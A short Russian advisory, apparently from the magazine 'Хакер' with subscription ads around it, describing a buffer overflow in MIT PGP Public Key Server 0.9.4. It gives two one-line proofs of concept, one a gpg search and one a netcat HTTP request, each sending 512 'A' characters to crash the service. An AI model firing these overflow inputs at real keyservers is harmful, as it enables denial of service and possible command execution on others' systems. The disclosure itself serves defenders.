Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
MIT PKS (Public Key Server) содержит буфер, который
каждый пользователь может переполнить, это
может привести к отказу в работе сервиса
или выполнению произвольных команд на
удаленной системе.
Эксплоит:
#gpg --search-keys `perl -e "print 'A'x512"`
или
#echo -e "GET /pks/lookup?op=index&search=`perl -e "print
'A'x512"`"| nc keyserver-host 11371
Уязвимая версия PGP Public Key Server version 0.9.4.
Сайт защищен Qrator —